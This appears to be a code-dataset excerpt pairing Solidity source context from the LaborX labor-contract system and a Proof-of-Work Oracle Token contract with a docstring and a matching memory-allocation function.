) { bytes memory _data = unpackRawInputIntoMemoryArray(_inputData, 2, _unpackTaskIntoMemory); // DATA_STRUCTURE_TYPE = TASK uint _fieldsNumber = _getFieldsNumberForDataStructure(2); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } function parseTaskPenaltyDataRawInput(bytes memory _inputData) internal pure returns ( TaskPenaltyData[] memory _entities ) { bytes memory _data = unpackRawInputIntoMemoryArray(_inputData, 3, _unpackTaskPenaltyIntoMemory); // DATA_STRUCTURE_TYPE = PENALTY uint _fieldsNumber = _getFieldsNumberForDataStructure(3); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } function parseTerminationDataRawInput(bytes memory _inputData) internal pure returns ( TerminationData[] memory _entities ) { bytes memory _data = unpackRawInputIntoMemoryArray(_inputData, 4, _unpackTerminationIntoMemory); // DATA_STRUCTURE_TYPE = TERMINATION uint _fieldsNumber = _getFieldsNumberForDataStructure(4); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } /** CLEAN INPUT PARSING */ function parseContractDataCleanInput(bytes memory _inputData) internal pure returns ( ContractData memory _entity ) { bytes memory _data = unpackCleanArrayIntoMemoryArray(_inputData, 1, _unpackContractIntoMemory); // DATA_STRUCTURE_TYPE = CONTRACT assembly { _entity := add(_data, 0x20) } } function parseTaskDataCleanInput(bytes memory _inputData) internal pure returns ( TaskData[] memory _entities ) { bytes memory _data = unpackCleanArrayIntoMemoryArray(_inputData, 2, _unpackTaskIntoMemory); // DATA_STRUCTURE_TYPE = TASK uint _fieldsNumber = _getFieldsNumberForDataStructure(2); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } function parseTaskPenaltyDataCleanInput(bytes memory _inputData) internal pure returns ( TaskPenaltyData[] memory _entities ) { bytes memory _data = unpackCleanArrayIntoMemoryArray(_inputData, 3, _unpackTaskPenaltyIntoMemory); // DATA_STRUCTURE_TYPE = PENALTY uint _fieldsNumber = _getFieldsNumberForDataStructure(3); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } function parseTerminationDataCleanInput(bytes memory _inputData) internal pure returns ( TerminationData[] memory _entities ) { bytes memory _data = unpackCleanArrayIntoMemoryArray(_inputData, 4, _unpackTerminationIntoMemory); // DATA_STRUCTURE_TYPE = TERMINATION uint _fieldsNumber = _getFieldsNumberForDataStructure(4); bytes memory _structures = _castMemoryArrayToStructureArray(_data, _fieldsNumber); assembly { _entities := _structures } } /** ASSERTIONS */ function assertContractData(ContractData memory _contract) internal view { require( _contract.contractType == uint8(ContractType.JOB) || _contract.contractType == uint8(ContractType.DISPUTE) ); require(_contract.documentHash != bytes32(0)); require(_contract.employer != 0x0); require(_contract.assignee != 0x0); require(_contract.assignee != _contract.employer); require(_contract.arbiter != _contract.assignee && _contract.arbiter != _contract.employer); // still allow _contract.arbiter to be 0x0 require(_contract.beginDate > block.timestamp); require(_contract.paymentCurrencySymbol != bytes32(0)); // TODO: check if escrow supports this symbol require( _contract.paymentTimeline == uint8(PaymentTimeline.PAY_BY_TASK) || _contract.paymentTimeline == uint8(PaymentTimeline.PAY_BY_PROJECT) ); if (_contract.contractType == 2) { assertDisputeContractData(_contract); } } function assertDisputeContractData(ContractData memory _contract) internal pure { require(_contract.contractType == uint8(ContractType.DISPUTE)); require(_contract.linkedContractId != 0); // TODO: check linked contract for existance; check it is started, not under_dispute require(_contract.participant != 0x0); require( _contract.participant != _contract.employer && _contract.participant != _contract.assignee && _contract.participant != _contract.arbiter ); } function assertDisputeContractWithLinkedContract( ContractData memory _linkedContract, ContractData memory _disputeContract ) internal pure { require(_disputeContract.arbiter == 0x0, "PARSER_DISPUTE_SHOULD_NOT_PROVIDE_ARBITER"); require(_linkedContract.arbiter == _disputeContract.assignee, "PARSER_ARBITER_SHOULD_BE_ASSIGNEE_IN_DISPUTE"); require( _linkedContract.assignee == _disputeContract.employer || _linkedContract.assignee == _disputeContract.participant, "PARSER_ASSIGNEE_SHOULD_BE_EMPLOYER_OR_PARTICIPANT_IN_DISPUTE" ); require( _linkedContract.employer == _disputeContract.employer || _linkedContract.employer == _disputeContract.participant, "PARSER_EMPLOYER_SHOULD_BE_EMPLOYER_OR_PARTICIPANT_IN_DISPUTE" ); } function assertTaskPenalty(TaskPenaltyData memory _penalty) internal pure { require( _penalty.applicationType == uint8(PenaltyApplicationType.MISS_DEADLINE),/* || _penalty.applicationType == uint8(DataParser.PenaltyApplicationType.LATE_PAYMENT) */ "PARSER_PENALTY_INVALID_APPLICATION_TYPE" ); } /** SEARCH */ function getTerminationResultValue( TerminationData memory _terminationInfo, uint _baseBudget, uint _precision ) internal pure returns (uint _fullTerminationAmount) { if (_terminationInfo.valueType == uint(PaymentValueType.CURRENCY)) { _fullTerminationAmount = _terminationInfo.value; } else if (_terminationInfo.valueType == uint(PaymentValueType.PERCENT)) { require(_terminationInfo.value <= _precision, "PARSER_INVALID_TERMINATION_PERCENT_VALUE"); _fullTerminationAmount = PercentCalculator.getPercent(_baseBudget, _terminationInfo.value, _precision); } else { revert("PARSER_INVALID_TERMINATION_PAYMENT_VALUE_TYPE"); } } function getTaskPenaltyResultValue( TaskPenaltyData memory _penalty, uint _baseBudget, uint _precision ) internal pure returns (uint _penaltyValue) { if (_penalty.valueType == uint(PaymentValueType.CURRENCY)) { _penaltyValue = _penalty.value; } else if (_penalty.valueType == uint(PaymentValueType.PERCENT)) { require(_penalty.value <= _precision, "PARSER_INVALID_TASK_PENALTY_PERCENT_VALUE"); _penaltyValue = PercentCalculator.getPercent(_baseBudget, _penalty.value, _precision); } else { revert("PARSER_INVALID_TASK_PENALTY_PAYMENT_VALUE_TYPE"); } } function getTaskUpfrontResultValue( TaskData memory _task, uint _precision ) internal pure returns (uint _upfrontValue) { if (_task.upfrontValueType == uint(PaymentValueType.CURRENCY)) { require(_task.upfrontValue <= _task.budget, "PARSER_INVALID_TASK_UPFRONT_CURRENCY_VALUE"); _upfrontValue = _task.upfrontValue; } else if (_task.upfrontValueType == uint(PaymentValueType.PERCENT)) { require(_task.upfrontValue <= _precision, "PARSER_INVALID_TASK_UPFRONT_PERCENT_VALUE"); _upfrontValue = PercentCalculator.getPercent(_task.budget, _task.upfrontValue, _precision); } else { revert("PARSER_INVALID_TASK_UPFRONT_PAYMENT_VALUE_TYPE"); } } function getTerminationById( uint _terminationId, bytes memory _clearData ) internal pure returns (TerminationData memory) { TerminationData[] memory _terminations = parseTerminationDataCleanInput(_clearData); for (uint _idx = 0; _idx < _terminations.length; ++_idx) { if (_terminations[_idx].id == _terminationId) { return _terminations[_idx]; } } } function getTerminationParty(ContractData memory _contractInfo, address _account) internal pure returns (TerminationParty) { if (_account == _contractInfo.employer) { return TerminationParty.TERMINATION_EMPLOYER; } else if (_account == _contractInfo.assignee) { return TerminationParty.TERMINATION_ASSIGNEE; } revert("PARSER_INVALID_INITIATOR_PARTY_ACCOUNT"); } function getOppositeTerminationParty(TerminationParty _terminationParty) internal pure returns (TerminationParty) { if (_terminationParty == TerminationParty.TERMINATION_EMPLOYER) { return TerminationParty.TERMINATION_ASSIGNEE; } else if (_terminationParty == TerminationParty.TERMINATION_ASSIGNEE) { return TerminationParty.TERMINATION_EMPLOYER; } revert("PARSER_UNHANDLED_INITIATOR_PARTY"); } } // File: contracts/labor-contract/LaborContractCore.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract LaborContractCore is InitializableStorageAdapter, FeeConstants { StorageInterface.Bytes32AddressMapping internal escrowStorage; StorageInterface.Bytes32AddressMapping internal workflowStorage; /// @dev keccak(contractId, signer address) => boolean StorageInterface.Bytes32BoolMapping internal signsStorage; /// @dev keccak(contractId, signer address) => salt (from #sign) StorageInterface.Bytes32UIntMapping internal signsSaltStorage; /// @dev keccak(contractId, signer address) => signature (from #sign) StorageInterface.BytesSequenceMapping internal signsSignatureStorage; /// @dev contractId => set of salts StorageInterface.UIntSetMapping internal signsInvalidatedSaltsStorage; // StorageInterface.Bytes32Bytes32Mapping internal baseContractStorage; // StorageInterface.Bytes32SetMapping internal linkedContractsStorage; StorageInterface.Bytes32UInt8Mapping internal contractStateStorage; StorageInterface.Bytes32Bytes32Mapping internal contractDocumentHashStorage; StorageInterface.BytesSequenceMapping internal contractInfoStorage; StorageInterface.BytesSequenceMapping internal terminationsStorage; StorageInterface.BytesSequenceMapping internal proposedTasksStorage; StorageInterface.Bytes32Bytes32Mapping internal proposedDocumentHashStorage; /// @dev proposition to store ID of termination with the highest termination budget /// contractId => max locked termination value StorageInterface.Bytes32UIntMapping internal terminationLockedBalanceStorage; /// @dev contractId => upfront balance StorageInterface.Bytes32UIntMapping internal budgetUpfrontPaymentAmountStorage; // StorageInterface.Bytes32UIntMapping internal totalLockBudgetAmountStorage; StorageInterface.Bytes32UIntMapping internal totalBudgetAmountStorage; /// @dev contractId => sum of total completed (of future) payments StorageInterface.Bytes32UIntMapping internal completedPaymentsBalanceStorage; /// @dev contractId => sum of total completed and transferred payments StorageInterface.Bytes32UIntMapping internal transferredPaymentsBalanceStorage; StorageInterface.Bytes32UIntMapping internal terminationRequestIdStorage; StorageInterface.StringMapping internal terminationReasonStorage; StorageInterface.Address internal terminatableStorage; StorageInterface.Address internal disputableStorage; StorageInterface.Address internal signableStorage; StorageInterface.Address internal completableStorage; StorageInterface.Address internal tasksProposableStorage; function _initCore() internal { escrowStorage.init("escrow"); workflowStorage.init("workflow"); signsStorage.init("signs"); signsSaltStorage.init("signsSalt"); signsSignatureStorage.init("signsSignature"); signsInvalidatedSaltsStorage.init("signsInvalidatedSalts"); // baseContractStorage.init("baseContract"); // linkedContractsStorage.init("linkedContracts"); contractStateStorage.init("contractState"); contractDocumentHashStorage.init("contractDocumentHash"); contractInfoStorage.init("contractInfo"); terminationsStorage.init("terminations"); proposedTasksStorage.init("proposedTasks"); proposedDocumentHashStorage.init("proposedDocumentHash"); terminationLockedBalanceStorage.init("terminationLockedBalance"); budgetUpfrontPaymentAmountStorage.init("budgetUpfrontPaymentAmount"); // totalLockBudgetAmountStorage.init("totalLockBudgetAmount"); totalBudgetAmountStorage.init("totalBudgetAmount"); terminationRequestIdStorage.init("terminationRequestId"); terminationReasonStorage.init("terminationReason"); completedPaymentsBalanceStorage.init("completedPaymentsBalance"); transferredPaymentsBalanceStorage.init("transferredPaymentsBalance"); terminatableStorage.init("terminatable"); disputableStorage.init("disputable"); signableStorage.init("signable"); completableStorage.init("completable"); tasksProposableStorage.init("tasksProposable"); } } contract LaborContractEventEmitter { event ContractCreated(bytes32 indexed contractId, bytes32 documentHash); event ContractSigned(bytes32 indexed contractId, bytes32 documentHash, address signer, uint expireAtBlock, uint salt); event ContractSignRevoked(bytes32 indexed contractId, address signer); event ContractStarted(bytes32 indexed contractId, uint _depositValue); event ContractTasksProposed(bytes32 indexed contractId, bytes32 documentHash); event ContractTasksAccepted(bytes32 indexed contractId, bytes32 documentHash); event ContractDisputeResolved(bytes32 indexed contractId); event ContractTerminationRequested(bytes32 indexed contractId, uint terminationId, address initiator, string comment); event ContractTerminationRequestCancelled(bytes32 indexed contractId, uint terminationId); event ContractTerminated(bytes32 indexed contractId, uint terminationId); event ContractStateTransitioned(bytes32 indexed contractId, uint8 indexed previousState, uint8 indexed currentState); event ContractOperationLogged(bytes32 indexed contractId, string indexed operationAction); event ContractWithdrawOperationLogged(bytes32 indexed contractId, string indexed operationAction, uint depositValue, uint paymentAmount); } contract LaborContractAbstract is LaborContractCore, LaborContractEventEmitter { using SafeMath for uint; enum State { NOT_INITIALIZED, CREATED, SIGNED, STARTED, TERMINATION_REQUESTED, TERMINATED, UNDER_DISPUTE, COMPLETED } uint constant internal OK = 1; uint constant internal TERMINATION_PERCENT_PRECISION = 10000; modifier onlyInState(bytes32 _contractId, State _state) { require(_getContractState(_contractId) == _state, "C_S"); _; } function getEscrow(bytes32 _contractId) public view returns (EscrowBaseInterface) { return EscrowBaseInterface(store.get(escrowStorage, _contractId)); } function getWorkflow(bytes32 _contractId) public view returns (WorkflowBase) { return WorkflowBase(store.get(workflowStorage, _contractId)); } function getServiceSurchargePercent(bytes32 _contractId) public view returns (uint _percent, uint _precision) { (, _percent, _precision) = getEscrow(_contractId).getServiceFeeInfo(); } function version() public pure returns (string); /** INTERNAL */ function _setContractStateTo(bytes32 _contractId, State _newState) internal { require(_newState != State.NOT_INITIALIZED, "C_NI"); State _currentState = _getContractState(_contractId); if (_currentState == _newState) { return; } store.set(contractStateStorage, _contractId, uint8(_newState)); emit ContractStateTransitioned(_contractId, uint8(_currentState), uint8(_newState)); } function _getContractState(bytes32 _contractId) internal view returns (State) { return State(store.get(contractStateStorage, _contractId)); } function _getContractDocumentHash( bytes32 _contractId, DataParser.ContractData memory _contractInfo ) internal view returns (bytes32 _documentHash) { _documentHash = store.get(contractDocumentHashStorage, _contractId); if (_documentHash == bytes32(0)) { _documentHash = _contractInfo.documentHash; } } function _getContractInfoBytes(bytes32 _contractId) internal view returns (bytes memory _data) { return store.get(contractInfoStorage, _contractId); } function _getTerminationsInfoBytes(bytes32 _contractId) internal view returns (bytes memory _data) { return store.get(terminationsStorage, _contractId); } function _getContractAccumulatedPaymentAmount(bytes32 _contractId) internal view returns (uint) { return store.get(completedPaymentsBalanceStorage, _contractId); } function _getContractTransferredPaymentAmount(bytes32 _contractId) internal view returns (uint) { return store.get(transferredPaymentsBalanceStorage, _contractId); } function _getContractTotalBudgetAmount(bytes32 _contractId) internal view returns (uint) { return store.get(totalBudgetAmountStorage, _contractId); } function _getContractLockedTerminationAmount(bytes32 _contractId) internal view returns (uint) { return store.get(terminationLockedBalanceStorage, _contractId); } function _getLeftToPayAmount(bytes32 _contractId) internal view returns (uint) { return _getContractAccumulatedPaymentAmount(_contractId).sub(_getContractTransferredPaymentAmount(_contractId)); } function _incrementTransferredBalance(bytes32 _contractId, uint _value) internal { store.set(transferredPaymentsBalanceStorage, _contractId, _getContractTransferredPaymentAmount(_contractId).add(_value)); } function _decrementTransferredBalance(bytes32 _contractId, uint _value) internal { store.set(transferredPaymentsBalanceStorage, _contractId, _getContractTransferredPaymentAmount(_contractId).sub(_value)); } function _incrementLockedTerminationAmount(bytes32 _contractId, uint _value) internal { store.set(terminationLockedBalanceStorage, _contractId, _getContractLockedTerminationAmount(_contractId).add(_value)); } function _incrementUpfrontPaymentAmount(bytes32 _contractId, uint _value) internal { if (_value > 0) { uint _currentUpfrontPaymentAmount = store.get(budgetUpfrontPaymentAmountStorage, _contractId); store.set(budgetUpfrontPaymentAmountStorage, _contractId, _currentUpfrontPaymentAmount.add(_value)); } } function _decrementLockedTerminationAmount(bytes32 _contractId, uint _value) internal { store.set(terminationLockedBalanceStorage, _contractId, _getContractLockedTerminationAmount(_contractId).sub(_value)); } function _incrementCompletedPaymentValue(bytes32 _contractId, uint _value) internal { uint _completedPaymentsBalance = _getContractAccumulatedPaymentAmount(_contractId); store.set(completedPaymentsBalanceStorage, _contractId, _completedPaymentsBalance.add(_value)); } function _decrementCompletedPaymentValue(bytes32 _contractId, uint _value) internal { uint _completedPaymentsBalance = _getContractAccumulatedPaymentAmount(_contractId); store.set(completedPaymentsBalanceStorage, _contractId, _completedPaymentsBalance.sub(_value)); } } // File: contracts/labor-contract/LaborContract.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract LaborContractInterface is LaborContractBase, LaborContractBaseInitializable, LaborContractBaseGeneralizable, LaborContractBaseSignable, LaborContractBaseCompletable, LaborContractBaseTasksProposable, LaborContractBaseTerminatable, LaborContractBaseDisputable, LaborContractBaseOperationable, InitializableOwned, LaborContractAbstract { } contract LaborContract is Delegatable, LaborContractBaseInitializable, LaborContractBaseGeneralizable, LaborContractBaseOperationable, InitializableOwned, LaborContractAbstract { /// @dev LaborContractBaseSignable /// @dev getLockingDepositBalance(bytes32) bytes4 constant private SIG_GET_LOCKING_DEPOSIT_BALANCE = hex"ff13a302"; /// @dev getLockingContractDetails(bytes32) bytes4 constant private SIG_GET_LOCKING_CONTRACT_DETAILS = hex"59198fab"; /// @dev createContractAndSign(bytes32,address,address,bytes,uint256,uint256,bytes) bytes4 constant private SIG_CREATE_CONTRACT_AND_SIGN = hex"f9988ce7"; /// @dev sign(bytes32,bytes32,uint256,uint256,bytes) bytes4 constant private SIG_SIGN = hex"f5b32e74"; /// @dev revokeSign(bytes32) bytes4 constant private SIG_REVOKE_SIGN = hex"3c565c71"; /// @dev signAndDeposit(bytes32,bytes32,uint256,uint256,uint256,bytes) bytes4 constant private SIG_SIGN_AND_DEPOSIT = hex"87791ff9"; /// @dev LaborContractBaseCompletable /// @dev getCompletionContractDepositBalance(bytes32) bytes4 constant private SIG_GET_COMPLETION_CONTRACT_DEPOSIT_BALANCE = hex"2b82952b"; /// @dev getCompletionContractDetails(bytes32) bytes4 constant private SIG_GET_COMPLETION_CONTRACT_DETAILS = hex"d633e835"; /// @dev completeContract(bytes32,uint256,uint256,bytes) bytes4 constant private SIG_COMPLETE_CONTRACT = hex"27e6c58c"; /// @dev LaborContractBaseTasksProposable /// @dev getContractProposedTasksDetails(bytes32) bytes4 constant private SIG_GET_CONTRACT_PROPOSED_TASKS_DETAILS = hex"347cedbe"; /// @dev proposeTasks(bytes32,bytes32,bytes) bytes4 constant private SIG_PROPOSE_TASKS = hex"bb86de8c"; /// @dev acceptProposedTasksAndDeposit(bytes32,bytes32,uint256) bytes4 constant private SIG_ACCEPT_PROPOSED_TASKS_AND_DEPOSIT = hex"f1574848"; /// @dev LaborContractBaseTerminatable /// @dev getTerminationInitiateDepositDetails(bytes32,uint256) bytes4 constant private SIG_GET_TERMINATION_INITIATE_DEPOSIT_DETAILS = hex"376f72d6"; /// @dev getTerminationCancelDepositDetails(bytes32,uint256) bytes4 constant private SIG_GET_TERMINATION_CANCEL_DEPOSIT_DETAILS = hex"e0e70cae"; /// @dev getTerminationConfirmDepositDetails(bytes32,uint256) bytes4 constant private SIG_GET_TERMINATION_CONFIRM_DEPOSIT_DETAILS = hex"42d6c779"; /// @dev getTerminationPaymentAmounts(bytes32,uint256) bytes4 constant private SIG_GET_TERMINATION_PAYMENT_AMOUNTS = hex"d1089d36"; /// @dev getTerminationContractDetails(bytes32,uint256) bytes4 constant private SIG_GET_TERMINATION_CONTRACT_DETAILS = hex"5dacca44"; /// @dev initiateTermination(bytes32,uint32,uint256,string) bytes4 constant private SIG_INITIATE_TERMINATION = hex"6c62e81a"; /// @dev cancelTerminationRequest(bytes32) bytes4 constant private SIG_CANCEL_TERMINATION_REQUEST = hex"91044a22"; /// @dev cancelTerminationRequestWithApproval(bytes32,uint256,uint256,bytes) bytes4 constant private SIG_CANCEL_TERMINATION_REQUEST_WITH_APPROVAL = hex"ac933bc0"; /// @dev confirmTermination(bytes32,uint256,uint256,uint256,bytes,uint256,bytes) bytes4 constant private SIG_CONFIRM_TERMINATION = hex"6ac2584c"; /// @dev LaborContractBaseDisputable /// @dev getResolvingContractDetails(bytes32,uint256) bytes4 constant private SIG_GET_RESOLVING_CONTRACT_DETAILS = hex"5461e24c"; /// @dev resolveContract(bytes32,uint256,uint256,bytes) bytes4 constant private SIG_RESOLVE_CONTRACT = hex"7416d14e"; modifier onlyOnWorkflowOperation(bytes32 _contractId) { require(msg.sender == address(getWorkflow(_contractId)), "C_OW"); // C_OW == only workflow allowed _; } constructor(address _storage, bytes32 _crate) StorageAdapter(Storage(_storage), _crate) public { _initCore(); } function () external payable { if ( msg.sig == SIG_GET_CONTRACT_PROPOSED_TASKS_DETAILS || msg.sig == SIG_PROPOSE_TASKS || msg.sig == SIG_ACCEPT_PROPOSED_TASKS_AND_DEPOSIT ) { _delegate(store.get(tasksProposableStorage)); } else if ( msg.sig == SIG_CREATE_CONTRACT_AND_SIGN || msg.sig == SIG_SIGN || msg.sig == SIG_REVOKE_SIGN || msg.sig == SIG_SIGN_AND_DEPOSIT || msg.sig == SIG_GET_LOCKING_DEPOSIT_BALANCE || msg.sig == SIG_GET_LOCKING_CONTRACT_DETAILS ) { _delegate(store.get(signableStorage)); } else if ( msg.sig == SIG_GET_COMPLETION_CONTRACT_DEPOSIT_BALANCE || msg.sig == SIG_GET_COMPLETION_CONTRACT_DETAILS || msg.sig == SIG_COMPLETE_CONTRACT ) { _delegate(store.get(completableStorage)); } else if ( msg.sig == SIG_GET_TERMINATION_INITIATE_DEPOSIT_DETAILS || msg.sig == SIG_GET_TERMINATION_CANCEL_DEPOSIT_DETAILS || msg.sig == SIG_GET_TERMINATION_CONFIRM_DEPOSIT_DETAILS || msg.sig == SIG_GET_TERMINATION_PAYMENT_AMOUNTS || msg.sig == SIG_GET_TERMINATION_CONTRACT_DETAILS || msg.sig == SIG_INITIATE_TERMINATION || msg.sig == SIG_CANCEL_TERMINATION_REQUEST || msg.sig == SIG_CANCEL_TERMINATION_REQUEST_WITH_APPROVAL || msg.sig == SIG_CONFIRM_TERMINATION ) { _delegate(store.get(terminatableStorage)); } else if ( msg.sig == SIG_GET_RESOLVING_CONTRACT_DETAILS || msg.sig == SIG_RESOLVE_CONTRACT ) { _delegate(store.get(disputableStorage)); } revert("C_ETH"); } function version() public pure returns (string) { return "0.1.0"; } function initLaborContract( address _owner, address _storage, bytes32 _crate ) external { _initOwned(_owner); _initStorageAdapter(Storage(_storage), _crate); _initCore(); } function setExtensionContracts( address _signable, address _terminatable, address _disputable, address _completable, address _tasksProposable ) external onlyContractOwner { _initLaborSignableExtensions(_signable); _initLaborTerminatableExtensions(_terminatable); _initLaborDisputableExtensions(_disputable); _initLaborCompletableExtensions(_completable); _initLaborTasksProposableExtensions(_tasksProposable); } function _initLaborSignableExtensions(address _signable) internal { if (store.get(signableStorage) != _signable) { store.set(signableStorage, _signable); } } function _initLaborTerminatableExtensions(address _terminatable) internal { if (store.get(terminatableStorage) != _terminatable) { store.set(terminatableStorage, _terminatable); } } function _initLaborDisputableExtensions(address _disputable) internal { if (store.get(disputableStorage) != _disputable) { store.set(disputableStorage, _disputable); } } function _initLaborCompletableExtensions(address _completable) internal { if (store.get(completableStorage) != _completable) { store.set(completableStorage, _completable); } } function _initLaborTasksProposableExtensions(address _tasksProposable) internal { if (store.get(tasksProposableStorage) != _tasksProposable) { store.set(tasksProposableStorage, _tasksProposable); } } function getPaymentRequirements(bytes32 _contractId) external view returns (bool _lockFullBudget, uint8 _paymentTimeline) { DataParser.ContractData memory _contractInfo = DataParser.parseContractDataCleanInput(_getContractInfoBytes(_contractId)); return (_contractInfo.lockFullBudget, _contractInfo.paymentTimeline); } function getContractState(bytes32 _contractId) external view returns (uint8 _state) { return uint8(_getContractState(_contractId)); } function getContractParties(bytes32 _contractId) public view returns (address _employer, address _assignee) { DataParser.ContractData memory _contractInfo = DataParser.parseContractDataCleanInput(_getContractInfoBytes(_contractId)); return (_contractInfo.employer, _contractInfo.assignee); } function onOperation( bytes32 _contractId, string _operationAction ) external onlyInState(_contractId, State.STARTED) onlyOnWorkflowOperation(_contractId) { emit ContractOperationLogged(_contractId, _operationAction); } function onWithdrawOperation( bytes32 _contractId, string _operationAction, uint _depositValue, uint _value, uint _expireAtBlock, uint _salt, bytes _signature ) external payable onlyInState(_contractId, State.STARTED) onlyOnWorkflowOperation(_contractId) { emit ContractWithdrawOperationLogged(_contractId, _operationAction, _depositValue, _value); _incrementCompletedPaymentValue(_contractId, _value); DataParser.ContractData memory _contractInfo = DataParser.parseContractDataCleanInput(_getContractInfoBytes(_contractId)); if (_contractInfo.paymentTimeline == uint8(DataParser.PaymentTimeline.PAY_BY_TASK)) { _doWithdrawOperationToEscrow( _contractId, _depositValue, _value, _expireAtBlock, _salt, _signature, _contractInfo ); _incrementTransferredBalance(_contractId, _value); return; } else if (_contractInfo.paymentTimeline == uint8(DataParser.PaymentTimeline.PAY_BY_PROJECT)) { /** save provided payment info with `_incrementCompletedPaymentValue`. See above */ return; } revert("C_PI"); // C_PI == invalid payment timeline } /** PRIVATE */ function _doWithdrawOperationToEscrow( bytes32 _contractId, uint _depositValue, uint _value, uint _expireAtBlock, uint _salt, bytes _signature, DataParser.ContractData memory _contractInfo ) private { EscrowBaseInterface _escrow = getEscrow(_contractId); if (_depositValue > 0) { require( OK == _escrow.deposit.value(msg.value) ( _contractId, _contractInfo.employer, _contractInfo.assignee, _depositValue, 0, _getNoFeeFlag() ), "C_DE" // C_DE == invalid deposit operation on escrow ); } require( OK == _escrow.releaseBuyerPayment ( _contractId, _contractInfo.employer, _contractInfo.assignee, _value, _expireAtBlock, _salt, _signature, _getAllFeeFlag() ), "C_RBE" // C_RBE == invalid release buyer payment on escrow ); } }
Allocates bytes array for keeping data
function _allocMemoryBytesArray(uint _structCount, uint _structDataLength) private pure returns (bytes memory _arr) { assembly { _arr := mload(0x40) let _length := mul(_structDataLength, _structCount) mstore(_arr, _length) mstore(0x40, add(_arr, add(_length, 0x20))) } }
5,472,742
pragma solidity ^0.4.24; // File: contracts\CloneFactory.sol /** * @title CloneFactory * @dev This contracts helps clone an oracle. * The address of the targeted contract to clone has to be provided. */ contract CloneFactory { /** * @dev Creates oracle clone * @param target is the address being cloned * @return address for clone */ function createClone(address target) internal returns (address result) { bytes memory clone = hex"600034603b57603080600f833981f36000368180378080368173bebebebebebebebebebebebebebebebebebebebe5af43d82803e15602c573d90f35b3d90fd"; bytes20 targetBytes = bytes20(target); for (uint i = 0; i < 20; i++) { clone[26 + i] = targetBytes[i]; } assembly { let len := mload(clone) let data := add(clone, 0x20) result := create(0, data, len) } } } // File: contracts\libraries\SafeMath.sol //Slightly modified SafeMath library - includes a min function library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint a, uint b) internal pure returns (uint256) { return a < b ? a : b; } } // File: contracts\Token.sol /** * @title Token * This contracts contains the ERC20 token functions */ contract Token { using SafeMath for uint256; /*Variables*/ uint public total_supply; mapping (address => uint) public balances; mapping(address => mapping (address => uint)) internal allowed; /*Events*/ event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); /*Functions*/ /** * @dev Constructor that sets the passed value as the token to be mineable. */ constructor() public{ total_supply = 1000000 ether; balances[msg.sender] = total_supply; //balances[address(this)]= 2**256 - 1000000 ether; balances[address(this)]= (2**256) - 1 - total_supply; } /** * @dev Allows for a transfer of tokens to _to * @param _to The address to send tokens to * @param _amount The amount of tokens to send * @return true if transfer is successful */ function transfer(address _to, uint256 _amount) public returns (bool success) { doTransfer(msg.sender, _to, _amount); return true; } /** * @notice Send _amount tokens to _to from _from on the condition it * is approved by _from * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; doTransfer(_from, _to, _amount); return true; } /** * @dev Completes POWO transfers by updating the balances * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(address _from, address _to, uint _amount) internal { require(_amount > 0 && _to != 0); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); } /** * @dev This function approves a _spender an _amount of tokens to use * @param _spender address * @param _amount amount the spender is being approved for * @return true if spender appproved successfully */ function approve(address _spender, uint _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Gets balance of owner specified * @param _owner is the owner address used to look up the balance * @return Returns the balance associated with the passed in _owner */ function balanceOf(address _owner) public constant returns (uint bal) { return balances[_owner]; } /** * @dev Getter function allows you to view the allowance left based on the _owner and _spender * @param _owner address * @param _spender address * @return Returns the remaining allowance of tokens granted to the _spender from the _owner */ function allowance(address _owner, address _spender) public view returns (uint) { return allowed[_owner][_spender]; } /** *@dev Getter for the total_supply of token *@return total supply */ function totalSupply() public view returns(uint){ return total_supply; } } // File: contracts\ProofOfWorkToken.sol //import "./OracleToken.sol"; /** * @title Proof of Work token * This is the master token where you deploy new oracles from. * Each oracle gets the API value specified */ contract ProofOfWorkToken is Token, CloneFactory { using SafeMath for uint256; /*Variables*/ string public constant name = "Proof-of-Work Oracle Token"; string public constant symbol = "POWO"; uint8 public constant decimals = 18; uint public firstDeployedTime; uint public firstWeekCount = 0; uint public lastDeployedTime; address public dud_Oracle; address public owner; OracleDetails[] public oracle_list; mapping(address => uint) oracle_index; struct OracleDetails { string API; address location; } /*Events*/ event Deployed(string _api,address _newOracle); /*Modifiers*/ modifier onlyOwner() { require(msg.sender == owner); _; } /*Functions*/ constructor(address _dud_Oracle) public{ owner = msg.sender; dud_Oracle = _dud_Oracle; firstDeployedTime = now - (now % 86400); lastDeployedTime = now - (now % 86400); oracle_list.push(OracleDetails({ API: "", location: address(0) })); } /** * @dev Deploys new oracles. It allows up to 10 oracles to be deployed the first week * the ProofOfOWorkToken contract is deployed and 1 oracle per week thereafter. * @param _api is the oracle api * @param _readFee is the fee for reading oracle information * @param _timeTarget for the dificulty adjustment * @param _payoutStructure for miners */ function deployNewOracle(string _api,uint _readFee,uint _timeTarget,uint[5] _payoutStructure) 